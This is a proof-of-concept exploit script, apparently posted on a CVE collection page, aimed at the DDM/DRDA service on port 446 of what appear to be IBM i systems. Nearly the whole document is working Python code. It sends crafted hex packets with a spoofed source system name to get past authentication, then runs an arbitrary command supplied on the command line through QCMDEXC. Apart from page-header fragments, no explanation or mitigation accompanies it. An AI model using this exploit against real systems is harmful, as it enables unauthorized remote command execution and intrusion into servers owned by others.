4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / ddm-bypass-test.py PY
#/usr/bin/python3

import socket
import binascii
import ebcdic
import sys


host = sys.argv[1]
cmd = sys.argv[2]

sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.settimeout(1)
sockfd.connect((host, 446))

#cmd = "CRTSRCPF FILE(QGPL/TESTCMD)"
sqlcmd = f"CALL QCMDEXC('{cmd}')"

system = "C1234567" # target system
fakesource = "S1234567" # source system

 
data = binascii.unhexlify("00bbd041000100b5104100071147d8c1e2000d115ae5f0f7d9f0f4d4f0f0000c116d" + fakesource.encode('cp500').hex() + "0021115ef0f7f4f5f2f461d8e2c5c3d6c6d961d8d7c1c4c5e5f0f0f0f1404040400070140414030005142300031405000314060003140700031458000114570003140c000314190003141e000314220003240f000314a000041432000314330003143400031435000314400009143b00032407000a1463000314650003143c0003147f00041474000814c1000514c000050070d0010002006a106d000611a2000700162110" + system.encode('cp500').hex() + "40404040404040404040000619090002004411dccb704a9f9e679f25ff17fe39814fedb85e0b91c984aa90323f7357cf497e80c1f275b306792de9082a3925ab4b61d8c7596a9729a01c9492a49aade7203c5b4e")
sockfd.send(data)
recv = sockfd.recv(1024)

data = binascii.unhexlify("0044d0010001003e106e000611a2000700162110" + system.encode('cp500').hex() + "40404040404040404040000a11a0e4e2c5d9c2f1001411dcd2bbcdda50c51c2687e37dfe9f7f874d")
sockfd.send(data)
recv = sockfd.recv(1024)

data = binascii.unhexlify("0087d04100010081200100162110" + system.encode('cp500').hex() + "404040404040404040400006210f2407000d002fd8e3c4e2d8d3f4f0f0000c112ed8e2d8f0f7f0f4f0001000350006119cffff0006191304b800062121241e00062120241e0010d12a01000000000000000000000000172135c1d7d7d54b" + fakesource.encode('cp500').hex() + "e04303de231c0005216501004ed05100020048201400442113" + system.encode('cp500').hex() + "40404040404040404040d8c7d7d34040404040404040404040404040d8e2d8c3d3c9d7d2c7d54040404040404040d8e2d8c3d3c9404001f4006fd053000200692414ff000000005fe2c5e340c3e4d9d9c5d5e340c3d3c9c5d5e36dc1c3c3e3d5c7407dd8e2d8f0f7f0f4f0404040404040404040404040404040404040e2e3c1d9e340e2d8d340c9d5e3c5d9c1c3e3c9e5d8e2c5c3d6c6d9407d6be77df0f47d6b7d5ce2e8e27d004bd053000200452414ff000000003be2c5e340c3e4d9d9c5d5e340c3d3c9c5d5e36dc1d7d7d3d5c1d4c5407de2e3c1d9e340e2d8d340c9d5e3c5d9c1c3e3c9e5c540e2c5e2e2c9d6d57d0035d0530002002f2414ff0000000025e2c5e340c3e4d9d9c5d5e340c3d3c9c5d5e36dd7d9d6c7d9c1d4c9c4407de2e3d9e2d8d37d0033d0530002002d2414ff0000000023e2c5e340c3e4d9d9c5d5e340c3d3c9c5d5e36de4e2c5d9c9c4407dd8e2c5c3d6c6d97d0035d0030002002f2414ff0000000025e2c5e340c3e4d9d9c5d5e340c3d3c9c5d5e36de6d9d2e2e3d5d5c1d4c5407dd8c2c1e2c57d")
sockfd.send(data)

data = binascii.unhexlify("0166d05100010160200a00442113" + system.encode('cp500').hex() + "40404040404040404040d8e2e8e24040404040404040404040404040d8e2d8d3d7d2c7f240404040404040404040d8e2d8d3f4f0f040000200052105f101132104fffff1000001007f7d4b7f00080008280000171b80617a171b617a0000c4c6e3800000036d6c426d426cd5d8e2c5c3d6c6d9404040d30000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff02000000000002000000100000000000000000e80000000000000000000000000000000000000000000000000000800000000000000000000401600000000000ffff0000000000400000000004b800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + format(len(sqlcmd)+16,'04x') + "d0030001" + format(len(sqlcmd)+10,'04x') + "2414ff000000" + format(len(sqlcmd),'04x'))
sockfd.send(data+sqlcmd.encode('cp500'))

sockfd.close()